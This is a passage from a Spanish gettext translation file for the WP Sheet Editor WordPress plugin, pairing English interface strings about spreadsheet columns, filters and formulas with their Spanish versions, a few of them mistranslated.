msgstr "Ingresa varios títulos separados por comas" #: columns-manager/columns-manager.php:1111 #: wp-sheet-editor/dev/inc/api/bootstrap.php:182 #: wp-sheet-editor/dev/inc/options-init.php:564 #: wp-sheet-editor/dev/inc/options-init.php:567 #: wp-sheet-editor/dev/views/quick-setup.php:101 msgid "Settings" msgstr "Ajustes" #: columns-manager/columns-manager.php:1127 #: custom-columns/views/settings-page.php:91 msgid "Is read only?" msgstr "¿Es de sólo lectura?" #: columns-manager/columns-manager.php:1131 msgid "" "Read-only columns will display a lock and it won't be possible to edit them " "anywhere in the spreadsheet. This is not a security feature because people " "still can edit in the regular WP screens." msgstr "" "Las columnas de sólo lectura mostrarán un candado y no será posible " "editarlas en ninguna parte de la hoja de cálculo. Esto no es una " "característica de seguridad porque la gente todavía puede editar en las " "pantallas normales de WP." #: columns-manager/columns-manager.php:1140 msgid "User capabilities that can read this column" msgstr "Capacidades del usuario que pueden leer esta columna" #: columns-manager/columns-manager.php:1140 msgid "" "The column will appear in the spreadsheet and exports if the user has a role " "with the required capability." msgstr "" "La columna aparecerá en la hoja de cálculo y en las exportaciones si el " "usuario tiene un rol con la capacidad requerida." #: columns-manager/columns-manager.php:1143 msgid "User capabilities that can edit this column" msgstr "Capacidades de usuario que pueden leer esta columna" #: columns-manager/columns-manager.php:1143 msgid "" "The column will be read only if the user doesn't have a role with the " "required capability." msgstr "" "La columna puede ser leía solo si el usuario no tiene un rol con la " "capacidad requerida." #: columns-manager/columns-manager.php:1154 msgid "Separated with commas" msgstr "Separados por comas" #: columns-manager/columns-manager.php:1155 msgid "Serialized array" msgstr "Array serializado" #: columns-manager/columns-manager.php:1158 msgid "File ID" msgstr "ID del archivo" #: columns-manager/columns-manager.php:1159 formulas/inc/ui.php:998 #: universal-sheet/views/import-modal.php:43 msgid "File URL" msgstr "URL del archivo" #: columns-manager/columns-manager.php:1162 msgid "Use default" msgstr "Usar por defecto" #: columns-manager/columns-manager.php:1163 formulas/inc/ui.php:554 #: woocommerce/inc/attributes.php:281 msgid "Yes" msgstr "Sí" #: columns-manager/columns-manager.php:1164 formulas/inc/ui.php:554 #: woocommerce/inc/attributes.php:281 msgid "No" msgstr "No" #: columns-manager/columns-manager.php:1167 #: columns-manager/columns-manager.php:1172 #: wp-sheet-editor/dev/inc/api/bootstrap.php:463 #: wp-sheet-editor/dev/inc/api/custom-tables-bootstrap.php:22 msgid "ID" msgstr "ID" #: columns-manager/columns-manager.php:1168 msgid "Username" msgstr "Nombre de usuario" #: columns-manager/columns-manager.php:1169 #: columns-manager/columns-manager.php:1212 msgid "Email" msgstr "Correo electrónico" #: columns-manager/columns-manager.php:1173 #: wp-sheet-editor/dev/inc/api/bootstrap.php:484 #: wp-sheet-editor/dev/inc/teasers/post-types.php:93 #: wp-sheet-editor/dev/inc/teasers/post-types.php:108 msgid "Title" msgstr "Título" #: columns-manager/columns-manager.php:1174 #: columns-manager/columns-manager.php:1183 msgid "Slug" msgstr "Slug" #: columns-manager/columns-manager.php:1177 msgid "Saved them separated by comma" msgstr "Guárdalos separados por comas" #: columns-manager/columns-manager.php:1178 msgid "Save them as serialized array" msgstr "Guárdalos como un array serializado" #: columns-manager/columns-manager.php:1181 msgid "Term ID" msgstr "ID del término" #: columns-manager/columns-manager.php:1182 woocommerce/inc/attributes.php:779 #: woocommerce/inc/attributes.php:780 woocommerce/inc/downloadable.php:258 #: woocommerce/inc/downloadable.php:259 woocommerce/inc/variations.php:506 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:868 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:869 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:946 msgid "Name" msgstr "Nombre" #: columns-manager/columns-manager.php:1187 msgid "Same as the spreadsheet taxonomy" msgstr "Igual que la taxonomía de la hoja de cálculo" #: columns-manager/columns-manager.php:1193 msgid "Same as the spreadsheet post type" msgstr "Igual que el post type de la hoja de cálculo" #: columns-manager/columns-manager.php:1198 msgid "Automatic" msgstr "Automático" #: columns-manager/columns-manager.php:1199 msgid "Text" msgstr "Texto" #: columns-manager/columns-manager.php:1200 msgid "Text editor (tinymce)" msgstr "Editor de texto (tinymce)" #: columns-manager/columns-manager.php:1201 msgid "Single selection dropdown" msgstr "Desplegable de selección simple" #: columns-manager/columns-manager.php:1202 msgid "Multi select dropdown" msgstr "Desplegable de selección múltiple" #: columns-manager/columns-manager.php:1203 msgid "Checkbox" msgstr "Casilla de verificación" #: columns-manager/columns-manager.php:1204 msgid "File upload" msgstr "Cargar archivo" #: columns-manager/columns-manager.php:1205 #: wp-sheet-editor/dev/inc/api/bootstrap.php:614 #: wp-sheet-editor/dev/inc/teasers/post-types.php:97 msgid "Date" msgstr "Fecha" #: columns-manager/columns-manager.php:1206 msgid "Date and time" msgstr "Fecha y hora" #: columns-manager/columns-manager.php:1207 msgid "User dropdown" msgstr "Desplegable de usuario" #: columns-manager/columns-manager.php:1208 msgid "Post dropdown" msgstr "Desplegable de posts" #: columns-manager/columns-manager.php:1209 msgid "Taxonomy term dropdown" msgstr "Desplegable de términos de taxonomía" #: columns-manager/columns-manager.php:1210 msgid "Currency" msgstr "Moneda" #: columns-manager/columns-manager.php:1211 msgid "URL" msgstr "URL" #: columns-manager/columns-manager.php:1213 formulas/inc/ui.php:336 #: formulas/inc/ui.php:364 msgid "Number" msgstr "Número" #: columns-manager/columns-manager.php:1214 msgid "Clickable button" msgstr "Botón" #: columns-manager/columns-manager.php:1215 msgid "Raw HTML" msgstr "Raw HTML" #: columns-manager/columns-manager.php:1221 #: wp-sheet-editor/dev/inc/api/helpers.php:955 msgid "Default" msgstr "Por defecto" #: columns-manager/columns-manager.php:1233 msgid "Column format" msgstr "Formato de columna" #: columns-manager/columns-manager.php:1238 msgid "" "This format will only allow administrators with the capability " "unfiltered_html to save any HTML in this column, we'll still remove unsafe " "html tags when non-administrators save values in this column." msgstr "" "Este formato sólo permitirá a los administradores con la capacidad " "unfiltered_html guardar cualquier HTML en esta columna, seguiremos " "eliminando las etiquetas html no seguras cuando los no administradores " "guarden valores en esta columna." #: columns-manager/columns-manager.php:1241 msgid "" "This can be used if the cell value will always be a URL, so the cell will be " "displayed as readonly and it will contain a button that will open the URL " "from the cell value." msgstr "" "Esto se puede utilizar si el valor de la celda será siempre una URL, por lo " "que la celda se mostrará como de sólo lectura y contendrá un botón que " "abrirá la URL a partir del valor de la celda." #: columns-manager/columns-manager.php:1244 #: columns-manager/columns-manager.php:1249 msgid "Allowed values" msgstr "Valores permitidos" #: columns-manager/columns-manager.php:1245 #: columns-manager/columns-manager.php:1250 msgid "" "Enter each choice on a new line. For more control, you may specify both a " "value and label like this: red : Red" msgstr "" "Ingresa cada selección en una nueva línea. Para mayor control, puedes " "especificar un valor y una etiqueta así: rojo : Rojo" #: columns-manager/columns-manager.php:1252 msgid "How are the multiple values saved in the database?" msgstr "¿Cómo se guardan los valores múltiples en la base de datos?" #: columns-manager/columns-manager.php:1257 msgid "What value is saved when the checkbox is checked?" msgstr "¿Qué valor se guarda cuando la casilla de verificación está marcada?" #: columns-manager/columns-manager.php:1259 msgid "What value is saved when the checkbox is unchecked?" msgstr "" "¿Qué valor se guarda cuando la casilla de verificación está desmarcada?" #: columns-manager/columns-manager.php:1263 msgid "" "You will be able to type the username in the cell and the cell will show a " "dropdown with suggestions." msgstr "" "Podrás escribir el nombre de usuario en la celda y ésta mostrará un " "desplegable con sugerencias." #: columns-manager/columns-manager.php:1264 msgid "How is the user saved in the database?" msgstr "¿Cómo se guarda el usuario en la base de datos?" #: columns-manager/columns-manager.php:1269 msgid "" "You will be able to type the term name in the cell and the cell will show a " "dropdown with suggestions." msgstr "" "Podrás escribir el nombre del término en la celda y ésta mostrará un " "desplegable con sugerencias." #: columns-manager/columns-manager.php:1270 msgid "How is the taxonomy term saved in the database?" msgstr "¿Cómo se guarda el término taxonómico en la base de datos?" #: columns-manager/columns-manager.php:1275 msgid "Allow multiple terms per field?" msgstr "¿Permitir varios términos por campo?" #: columns-manager/columns-manager.php:1277 msgid "How do you want to save the multiple terms?" msgstr "¿Cómo quieres guardar los términos múltiples?" #: columns-manager/columns-manager.php:1280 msgid "Accept terms from this taxonomy" msgstr "Aceptar términos de esta taxonomía" #: columns-manager/columns-manager.php:1281 msgid "" "For example, if you select the blog categories, we will only accept blog " "categories in this column." msgstr "" "Por ejemplo, si seleccionas las categorías del blog, sólo aceptaremos " "categorías del blog en esta columna." #: columns-manager/columns-manager.php:1285 msgid "" "You will be able to type numbers without formatting, for example: 999999.88 " "or 100, and we will automatically save them in the formatted way. This " "conversion will happen when you save and not live when you edit in the cells " "and you will see the modified values on the next spreadsheet reload." msgstr "" "Podrás escribir números sin formato, por ejemplo: 999999.88 o 100, y los " "guardaremos automáticamente con formato. Esta conversión se producirá cuando " "guardes y no en directo cuando edites en las celdas y verás los valores " "modificados en la siguiente recarga de la hoja de cálculo." #: columns-manager/columns-manager.php:1286 msgid "Number of decimals" msgstr "Número de decimales" #: columns-manager/columns-manager.php:1289 msgid "Decimals separator" msgstr "Separador de decimales" #: columns-manager/columns-manager.php:1292 msgid "Thousands separator" msgstr "Separador de miles" #: columns-manager/columns-manager.php:1296 msgid "" "You will be able to type the post title in the cell and the cell will show a " "dropdown with suggestions." msgstr "" "Podrás escribir el título de la entrada en la celda y ésta mostrará un " "desplegable con sugerencias." #: columns-manager/columns-manager.php:1297 msgid "How is the post saved in the database?" msgstr "¿Cómo se guarda el post en la base de datos?" #: columns-manager/columns-manager.php:1301 msgid "Allow multiple posts per field?" msgstr "¿Permitir varios posts por campo?" #: columns-manager/columns-manager.php:1303 msgid "How do you want to save the multiple posts?" msgstr "¿Cómo quieres guardar los posts múltiples?" #: columns-manager/columns-manager.php:1306 msgid "Accept post from this post type" msgstr "Aceptar posts de este post type" #: columns-manager/columns-manager.php:1307 msgid "" "For example, if you select the post type \"product\", we will only accept " "product titles." msgstr "" "Por ejemplo, si seleccionas el post type \"producto\", sólo aceptaremos " "títulos de productos." #: columns-manager/columns-manager.php:1311 msgid "How is the file saved in the database?" msgstr "¿Cómo se guarda el archivo en la base de datos?" #: columns-manager/columns-manager.php:1312 msgid "" "The cell will display the values as URLs and you can edit in the cells using " "full URLs, file ID, or file name.
                  External URLs are automatically " "imported into the media library.
                  We will save the value in the format " "selected here" msgstr "" "La celda mostrará los valores como URLs y puedes editar en las celdas usando " "URLs completas, el ID del archivo o el nombre del archivo.
                  Las URLs " "externas se importan automáticamente en la biblioteca multimedia." "
                  Guardaremos el valor en el formato seleccionado aquí" #: columns-manager/columns-manager.php:1316 msgid "Allow multiple files per field?" msgstr "¿Permitir varios archivos por campo?" #: columns-manager/columns-manager.php:1317 msgid "How do you want to save the multiple files?" msgstr "¿Cómo quieres guardar los archivos múltiples?" #: columns-manager/columns-manager.php:1322 msgid "What date format do you want to display in the spreadsheet?" msgstr "¿Qué formato de fecha quieres mostrar en la hoja de cálculo?" #: columns-manager/columns-manager.php:1323 msgid "" "Enter a date format. List of formats. If you leave it " "empty, we'll use the default: Y-m-d" msgstr "" "Ingresa un formato de fecha. Lista de formatos. Si lo " "dejas vacío, usaremos el formato por defecto: A-m-d" #: columns-manager/columns-manager.php:1326 #: columns-manager/columns-manager.php:1335 msgid "What date format do you want to save in the database?" msgstr "¿Qué formato de fecha quieres guardar en la base de datos?" #: columns-manager/columns-manager.php:1327 msgid "" "Enter a date format. List of formats. Example: Y-m-d" msgstr "" "Ingresa un formato de fecha. Lista de formatos. Ejemplo: " "A-m-d" #: columns-manager/columns-manager.php:1331 msgid "What date time format do you want to display in the spreadsheet?" msgstr "" "¿Qué formato de fecha y hora quieres que se muestre en la hoja de cálculo?" #: columns-manager/columns-manager.php:1332 msgid "" "Enter a date format. List of formats. If you leave it " "empty, we'll use the default: Y-m-d H:i:s" msgstr "" "Ingresa un formato de fecha. Lista de formatos. Ejemplo: " "D-M-A\n" "\n" "Ingresa un formato de fecha. Lista de formatos. Si lo " "dejas vacío, usaremos el formato por defecto: A-m-d H:i:s" #: columns-manager/columns-manager.php:1336 msgid "" "Enter a date format. List of formats. Example: Y-m-d H:i:s" msgstr "" "Ingresa un formato de fecha. Lista de formatos. Ejemplo: " "A-m-d H:i:s" #: columns-manager/inc/column-groups.php:49 msgid "Spreadsheet views" msgstr "Vista de hojas de cálculo" #: columns-manager/inc/column-groups.php:82 #: wp-sheet-editor/dev/inc/options-init.php:562 #: wp-sheet-editor/dev/wp-sheet-editor.php:1147 msgid "WP Sheet Editor" msgstr "WP Sheet Editor" #: columns-manager/inc/column-groups.php:83 msgid "" "Note. This is not a security feature, the user can edit all the fields in " "the normal editor based on the role. This option is for convenience, so they " "only see the columns they need when they open the spreadsheet editor. If you " "leave these fields empty they can switch between all the existing views" msgstr "" "Nota. Esta no es una característica de seguridad, el usuario puede editar " "todos los campos en el editor normal basado en el rol. Esta opción es por " "conveniencia, para que los usuarios puedan solo ver las columnas que " "necesitan cuando abran la hoja de cálculo. Si dejas estos campos vacíos, " "podrán cambiar entre todas las vistas existentes" #: columns-manager/inc/column-groups.php:100 msgid "%s: Allowed spreadsheet views" msgstr "%s: Hojas de cálculo permitidas" #: columns-manager/inc/column-groups.php:103 msgid "Please enter the name of the spreadsheet views separated by commas." msgstr "" "Por favor, ingresa el nombre de las vistas de la hoja de cálculo separadas " "por comas." #: columns-manager/inc/column-groups.php:332 msgid "Add a name for this group of columns" msgstr "Agrega un nombre para este grupo de columnas" #: columns-manager/inc/column-groups.php:332 msgid "" "We will save this group of columns as a spreadsheet view and you can switch " "between spreadsheets in the toolbar" msgstr "" "Guardaremos este grupo de columnas como una vista de la hoja de cálculo y " "podrás cambiar entre vistas en la barra de herramientas" #: columns-renaming/columns-renaming.php:45 #: wp-sheet-editor/dev/inc/api/editor.php:326 msgid "Rename column" msgstr "Renombrar columna" #: columns-renaming/columns-renaming.php:59 #: columns-visibility/columns-visibility.php:156 #: columns-visibility/columns-visibility.php:169 #: columns-visibility/columns-visibility.php:209 #: universal-sheet/universal-sheet.php:139 woocommerce/inc/attributes.php:795 #: woocommerce/inc/attributes.php:1015 woocommerce/inc/variations.php:1252 #: woocommerce/inc/variations.php:1279 wp-sheet-editor/dev/inc/ajax.php:73 #: wp-sheet-editor/dev/inc/ajax.php:160 wp-sheet-editor/dev/inc/ajax.php:192 #: wp-sheet-editor/dev/inc/ajax.php:237 wp-sheet-editor/dev/inc/ajax.php:284 #: wp-sheet-editor/dev/inc/ajax.php:305 wp-sheet-editor/dev/inc/ajax.php:383 msgid "Missing parameters." msgstr "Parámetros faltantes." #: columns-renaming/columns-renaming.php:63 #: columns-visibility/columns-visibility.php:160 #: columns-visibility/columns-visibility.php:173 #: columns-visibility/columns-visibility.php:269 msgid "You dont have enough permissions to execute this action." msgstr "No tienes suficientes permisos para ejecutar esta acción." #: columns-visibility/columns-visibility.php:164 msgid "" "Columns restored successfully, please reload the page to see the restored " "columns and enable them" msgstr "" "Columnas restauradas con éxito. Por favor, recarga la página para ver las " "columnas restauradas y habilitarlas" #: columns-visibility/columns-visibility.php:356 msgid "Hide / Display / Sort columns" msgstr "Ocultar / Mostrar columnas" #: columns-visibility/views/form.php:12 msgid "" "Drag the columns to the left or right side to enable/disable them, drag them " "to the top or bottom to sort them, click on the \"edit\" button to rename " "them, click on the \"x\" button to delete them completely (only when they " "are disabled previously)." msgstr "" "Arrastra las columnas a la izquierda o a la derecha para habilitarlas/" "deshabilitarlas. Arrástralas hacia arriba o hacia abajo para reordenarlas. " "Haz clic en el botón \"editar\" para renombrarlas, haz clic en el botón " "\"x\" para borrarlas por completo (sólo cuando estén deshabilitadas " "previamente)." #: columns-visibility/views/form.php:15 columns-visibility/views/form.php:73 msgid "Enable all" msgstr "Habilitar todas" #: columns-visibility/views/form.php:16 columns-visibility/views/form.php:27 msgid "Disable all" msgstr "Deshabilitar todas" #: columns-visibility/views/form.php:22 msgid "Enabled" msgstr "Habilitadas" #: columns-visibility/views/form.php:22 columns-visibility/views/form.php:67 msgid "Bulk" msgstr "Masivo" #: columns-visibility/views/form.php:24 columns-visibility/views/form.php:70 msgid "Enter a search term..." msgstr "Ingresa un término de búsqueda..." #: columns-visibility/views/form.php:26 columns-visibility/views/form.php:72 #: universal-sheet/views/import-modal.php:85 msgid "Bulk actions" msgstr "Acciones masivas" #: columns-visibility/views/form.php:28 columns-visibility/views/form.php:75 msgid "Sort alphabetically ASC" msgstr "Ordenar alfabéticamente ASC" #: columns-visibility/views/form.php:29 columns-visibility/views/form.php:76 msgid "Sort alphabetically DESC" msgstr "Ordenar alfabéticamente DESC" #: columns-visibility/views/form.php:56 columns-visibility/views/form.php:99 msgid "" "Remove column completely. If you want to use it later you can disable it by " "dragging and dropping to the right column" msgstr "" "Quitar la columna completamente. Si quieres usarla más tarde, puedes " "deshabilitarla arrastrando y soltando a la columna de la derecha" #: columns-visibility/views/form.php:58 columns-visibility/views/form.php:101 msgid "Disable column. You can enable it later." msgstr "Deshabilitar columna. Puedes habilitarla más tarde." #: columns-visibility/views/form.php:59 columns-visibility/views/form.php:102 msgid "Enable column" msgstr "Habilitar columna" #: columns-visibility/views/form.php:67 msgid "Disabled" msgstr "Deshabilitada" #: columns-visibility/views/form.php:74 msgid "Delete all" msgstr "Borrar todo" #: columns-visibility/views/form.php:95 msgid "Enabling this column requires a page reload" msgstr "Habilitar esta columna requiere una recarga de la página" #: columns-visibility/views/form.php:114 msgid "A column is missing?" msgstr "¿Falta una columna?" #: columns-visibility/views/form.php:116 msgid "" "- First, edit one item in the normal editor and fill all the fields manually." msgstr "" "- Primero, edita un elemento en el editor normal y rellena todos los campos " "manualmente." #: columns-visibility/views/form.php:125 msgid "" "- We can scan the database, find new fields, and create columns automatically" msgstr "" "- Podemos escanear la base de datos, encontrar nuevos campos y crear " "columnas automáticamente" #: columns-visibility/views/form.php:132 msgid "You can do this multiple times" msgstr "Puedes hacer esto varias veces" #: columns-visibility/views/form.php:132 msgid "Scan Now" msgstr "Escanear Ahora" #: columns-visibility/views/form.php:137 msgid "- If the previous solution failed, you can create new columns manually." msgstr "" "- Si la solución anterior falló, puedes crear nuevas columnas manualmente." #: columns-visibility/views/form.php:137 msgid "Create column" msgstr "Crear columna" #: columns-visibility/views/form.php:139 msgid "- Maybe you deleted the columns from the list." msgstr "- Quizá eliminaste las columnas de la lista." #: columns-visibility/views/form.php:139 msgid "Restore deleted columns" msgstr "Restaurar columnas eliminadas" #: columns-visibility/views/form.php:140 msgid "- We can help you." msgstr "- Podemos ayudarte." #: columns-visibility/views/form.php:140 #: wp-sheet-editor/dev/inc/integrations/notifier.php:291 #: wp-sheet-editor/dev/wp-sheet-editor.php:1056 msgid "Contact us" msgstr "Contáctanos" #: columns-visibility/views/form.php:146 msgid "Save these settings for future sessions?" msgstr "¿Guardar estos ajustes para sesiones futuras?" #: columns-visibility/views/form.php:154 msgid "Apply settings" msgstr "Aplicar ajustes" #: columns-visibility/views/form.php:155 filters/filters.php:573 #: formulas/inc/ui.php:153 universal-sheet/views/import-modal.php:228 #: woocommerce/views/spreadsheet-create-variations-modal.php:112 #: wp-sheet-editor/dev/inc/integrations/notifier.php:296 #: wp-sheet-editor/dev/inc/teasers/formulas.php:76 #: wp-sheet-editor/dev/inc/teasers/frontend.php:78 #: wp-sheet-editor/dev/inc/teasers/post-types.php:133 #: wp-sheet-editor/dev/views/editor-page.php:289 #: wp-sheet-editor/dev/views/editor-page.php:340 #: wp-sheet-editor/dev/views/editor-page.php:364 #: wp-sheet-editor/dev/views/extensions-modal.php:10 #: wp-sheet-editor/dev/views/settings-form.php:121 #: wp-sheet-editor/dev/views/support-modal.php:24 msgid "Close" msgstr "Cerrar" #: custom-columns/custom-columns.php:431 msgid "Add columns for custom fields" msgstr "Añadir columnas nuevas para campos personalizados" #: custom-columns/custom-columns.php:580 msgid "Missing columns" msgstr "Columnas faltantes" #: custom-columns/custom-columns.php:622 msgid "Missing post type or column_key" msgstr "Falta el post type o la column_key (clave de la columna)" #: custom-columns/custom-columns.php:625 custom-columns/custom-columns.php:649 #: custom-columns/custom-columns.php:672 msgid "" "You are not allowed to do this action. Please reload the page or log in " "again." msgstr "" "No puedes realizar esta acción. Por favor, recarga la página o inicia sesión " "de nuevo." #: custom-columns/custom-columns.php:635 msgid "The meta field was deleted successfully" msgstr "El campo meta fue eliminado con éxito" #: custom-columns/custom-columns.php:639 msgid "The meta field could not be deleted." msgstr "El campo meta no pudo ser eliminado." #: custom-columns/custom-columns.php:646 msgid "" "Missing post type, old_column_key, or new_column_key; or the old and new key " "are the same." msgstr "" "Falta el post type, old_column_key, o new_column_key; o la clave antigua y " "la clave nueva son iguales." #: custom-columns/custom-columns.php:662 msgid "The meta key was renamed successfully" msgstr "La clave meta fue renombrada con éxito" #: custom-columns/custom-columns.php:666 msgid "The meta key couldnt be renamed." msgstr "La clave meta no pudo ser renombrada." #: custom-columns/custom-columns.php:703 msgid "Columns could not be saved. Try again." msgstr "Las columnas no se pudieron guardar. Inténtalo de nuevo." #: custom-columns/custom-columns.php:706 msgid "Changes saved" msgstr "Cambios guardados" #: custom-columns/custom-columns.php:720 msgid "Are you sure you want to delete this column?" msgstr "¿Estás seguro de que quieres borrar esta columna?" #: custom-columns/custom-columns.php:728 msgid "Custom columns" msgstr "Columnas personalizadas" #: custom-columns/views/settings-page.php:11 #: spreadsheet-setup/views/page.php:11 #: wp-sheet-editor/dev/inc/api/bootstrap.php:146 #: wp-sheet-editor/dev/views/editor-page.php:70 #: wp-sheet-editor/dev/views/extensions-page.php:16 #: wp-sheet-editor/dev/views/quick-setup.php:28 #: wp-sheet-editor/dev/views/settings-page.php:5 #: wp-sheet-editor/dev/views/whats-new.php:12 #: wp-sheet-editor/dev/wp-sheet-editor.php:1153 msgid "Sheet Editor" msgstr "Sheet Editor" #: custom-columns/views/settings-page.php:14 msgid "Add New Columns to the Spreadsheet" msgstr "Agregar nuevas columnas a la hoja de cálculo" #: custom-columns/views/settings-page.php:16 msgid "" "Enter the column name (anything you want), and select the field key from the " "dropdown. If you dont find it you can type it in the dropdown. View Tutorial" msgstr "" "Ingresa el nombre de la columna (lo que quieras) y selecciona la clave de " "campo en el menú desplegable. Si no la encuentras, puedes escribirla en el " "desplegable. Ver Tutorial " #: custom-columns/views/settings-page.php:17 msgid "" "Enable the advanced mode at the bottom of the page to customize the column " "width, format (editor, file upload, taxonomies), etc." msgstr "" "Habilita el modo avanzado en la parte inferior de la página para " "personalizar el ancho de la columna, el formato (editor, carga de archivos, " "taxonomías), etc." #: custom-columns/views/settings-page.php:18 #: wp-sheet-editor/dev/views/quick-setup.php:110 msgid "Need help? Contact us" msgstr "¿Necesitas ayuda? Contáctanos" #: custom-columns/views/settings-page.php:38 msgid "Column name" msgstr "Nombre de columna" #: custom-columns/views/settings-page.php:38 msgid "The column name displayed in the spreadsheet" msgstr "Nombre de la columna que se muestra en la hoja de cálculo" #: custom-columns/views/settings-page.php:42 msgid "Column key" msgstr "Clave de la columna" #: custom-columns/views/settings-page.php:42 msgid "" "The key that will be used for saving the information in the database. This " "must be unique, only letters and underscores." msgstr "" "Clave que se utilizará para guardar la información en la base de datos. Debe " "ser única, sólo letras y guiones bajos." #: custom-columns/views/settings-page.php:62 msgid "Data source" msgstr "Fuente de datos" #: custom-columns/views/settings-page.php:62 msgid "Select the kind of information used in the cells of this column." msgstr "" "Selecciona el tipo de información utilizada en las celdas de esta columna." #: custom-columns/views/settings-page.php:64 msgid "Post data" msgstr "Datos del post" #: custom-columns/views/settings-page.php:65 msgid "Post meta (i.e. metaboxes)" msgstr "Meta del post (es decir, metaboxes)" #: custom-columns/views/settings-page.php:66 msgid "Post terms (i.e. categories)" msgstr "Términos del post (es decir, categorías)" #: custom-columns/views/settings-page.php:70 msgid "Post type(s)" msgstr "Post type(s)" #: custom-columns/views/settings-page.php:70 msgid "What kind of posts require this column in the spreadsheet?" msgstr "¿Qué post types requieren esta columna en la hoja de cálculo?" #: custom-columns/views/settings-page.php:95 msgid "Allow to edit using formulas?" msgstr "¿Permitir editar usando fórmulas?" #: custom-columns/views/settings-page.php:95 msgid "If you disable this option, this column will be edited manually only." msgstr "Si deshabilitas esta opción, esta columna sólo se editará manualmente." #: custom-columns/views/settings-page.php:99 msgid "Allow to hide column?" msgstr "¿Permitir ocultar la columna?" #: custom-columns/views/settings-page.php:99 msgid "Allow to hide this column on the settings page?" msgstr "¿Permitir ocultar esta columna en la página de ajustes?" #: custom-columns/views/settings-page.php:103 msgid "Allow to rename column?" msgstr "¿Permitir renombrar la columna?" #: custom-columns/views/settings-page.php:103 msgid "Allow to rename column on the settings page?" msgstr "¿Permitir renombrar la columna en la página de ajustes?" #: custom-columns/views/settings-page.php:107 msgid "Cell type" msgstr "Tipo de celda" #: custom-columns/views/settings-page.php:107 msgid "" "Select the format of the cells, if the cells should be normal text, a file " "uploader, or text editor." msgstr "" "Selecciona el formato de las celdas, si las celdas deben ser de texto " "normal, un cargador de archivos o un editor de texto." #: custom-columns/views/settings-page.php:110 msgid "Normal cell" msgstr "Celda normal" #: custom-columns/views/settings-page.php:111 msgid "TinyMCE Editor" msgstr "Editor TinyMCE" #: custom-columns/views/settings-page.php:112 msgid "File upload (single)" msgstr "Carga de archivos (individual)" #: custom-columns/views/settings-page.php:113 msgid "File upload (multiple)" msgstr "Carga de archivos (múltiple)" #: custom-columns/views/settings-page.php:117 msgid "Plain text mode: Render as: (Use only if cell type is empty)" msgstr "" "Modo de texto sin formato: Renderizar como: (Usar sólo si el tipo de celda " "está vacío)" #: custom-columns/views/settings-page.php:119 #: custom-columns/views/settings-page.php:128 msgid "Simple text" msgstr "Texto simple" #: custom-columns/views/settings-page.php:120 #: custom-columns/views/settings-page.php:129 msgid "Calendar" msgstr "Calendario" #: custom-columns/views/settings-page.php:121 msgid "Taxonomy dropdown. Only if data source = post terms." msgstr "" "Menú desplegable de taxonomías. Sólo si la fuente de datos = Términos del " "post." #: custom-columns/views/settings-page.php:122 #: custom-columns/views/settings-page.php:131 msgid "Unfiltered HTML" msgstr "HTML sin filtrar" #: custom-columns/views/settings-page.php:126 msgid "Formatted cell mode: Render as: (Use only if cell type is empty)" msgstr "" "Modo de celda formateada: Renderizar como: (Usar sólo si el tipo de celda " "está vacío)" #: custom-columns/views/settings-page.php:130 msgid "Taxonomy dropdown" msgstr "Desplegado de taxonomías" #: custom-columns/views/settings-page.php:135 msgid "Column width (pixels)" msgstr "Ancho de columna (pixeles)" #: custom-columns/views/settings-page.php:141 formulas/inc/ui.php:195 msgid "Delete" msgstr "Eliminar" #: custom-columns/views/settings-page.php:148 #: spreadsheet-setup/views/page.php:45 #: wp-sheet-editor/dev/inc/api/editor.php:339 msgid "Add new column" msgstr "Añadir nueva columna" #: custom-columns/views/settings-page.php:152 msgid "Advanced mode" msgstr "Modo avanzado" #: factory.php:226 wp-sheet-editor/dev/wp-sheet-editor.php:1356 msgid "My license" msgstr "Mi licencia" #: filters/filters.php:197 msgid "" "To search among all posts use the Search tool. Use this to locate and " "highlight one value in the loaded rows in the spreadsheet. I.e. highlight a " "SKU or email or title." msgstr "" "Para buscar entre todos los posts, usa la herramienta de búsqueda. Se usa " "para localizar y resaltar un valor en las filas cargadas en la hoja de " "cálculo. Es decir, resaltar un SKU, correo electrónico o título específico." #: filters/filters.php:198 msgid "Locate cell" msgstr "Localizar celda" #: filters/filters.php:199 msgid "Locate cell." msgstr "Localizar celda." #: filters/filters.php:207 msgid "" "Enter a word and we will find the first matching column. You will avoid " "scrolling through dozens of columns to find the one you need." msgstr "" "Ingresa una palabra y encontraremos la primera columna coincidente. Evitarás " "tener que desplazarte por docenas de columnas para encontrar la que " "necesitas." #: filters/filters.php:208 filters/filters.php:209 msgid "Locate column" msgstr "Localizar columna" #: filters/filters.php:224 filters/filters.php:236 filters/filters.php:521 msgid "Search" msgstr "Buscar" #: filters/filters.php:236 msgid "Quick search" msgstr "Búsqueda rápida" #: filters/filters.php:236 msgid "Enter a keyword" msgstr "Ingresa una palabra clave" #: filters/filters.php:491 msgid "Contains keyword" msgstr "Contiene palabra clave" #: filters/filters.php:492 msgid "" "It searches in the post title and post content. Search by multiple keywords " "separating keywords with a semicolon (;)" msgstr "" "Busca en el título de la entrada y en su contenido. Busca por varias " "palabras clave separándolas con punto y coma (;)" #: filters/filters.php:501 wp-sheet-editor/dev/inc/api/bootstrap.php:705 #: wp-sheet-editor/dev/inc/teasers/post-types.php:99 msgid "Status" msgstr "Estado" #: filters/filters.php:559 msgid "Enter a username or email..." msgstr "Ingresa un nombre de usuario o correo electrónico..." #: filters/filters.php:572 msgid "Run search" msgstr "Ejecutar búsqueda" #: formulas/formulas.php:84 msgid "Invalid #898AJSI. The replace requires 2 parameters, we received one" msgstr "" "#898AJSI inválido. El reemplazo requiere 2 parámetros, y solo recibimos uno" #: formulas/formulas.php:97 msgid "Invalid #8W89PQ. Math formula is empty." msgstr "#8W89PQ inválido. La fórmula matemática está vacía." #: formulas/formulas.php:102 msgid "Invalid #PQ8SPQ. The math formula contains a comma: %s" msgstr "#PQ8SPQ inválido. La fórmula matemática contiene una coma: %s" #: formulas/formulas.php:107 msgid "Invalid #8W89PWQ. Math formula is invalid." msgstr "#8W89PQ inválido. La fórmula matemática está vacía." #: formulas/formulas.php:118 msgid "Invalid #PQ8PHP. The PHP function does not exist: %s" msgstr "#PQ8SPQ inválido. La función PHP no existe: %s" #: formulas/formulas.php:123 msgid "" "Invalid #8W23CV. We accept MATH and REPLACE formulas only, we received an " "unknown formula type." msgstr "" "#8W23CV inválido. Solo aceptamos fórmulas MATH y REPLACE, pero recibimos un " "tipo de fórmula desconocida." #: formulas/formulas.php:179 msgid "The random values could not be read." msgstr "Los valores 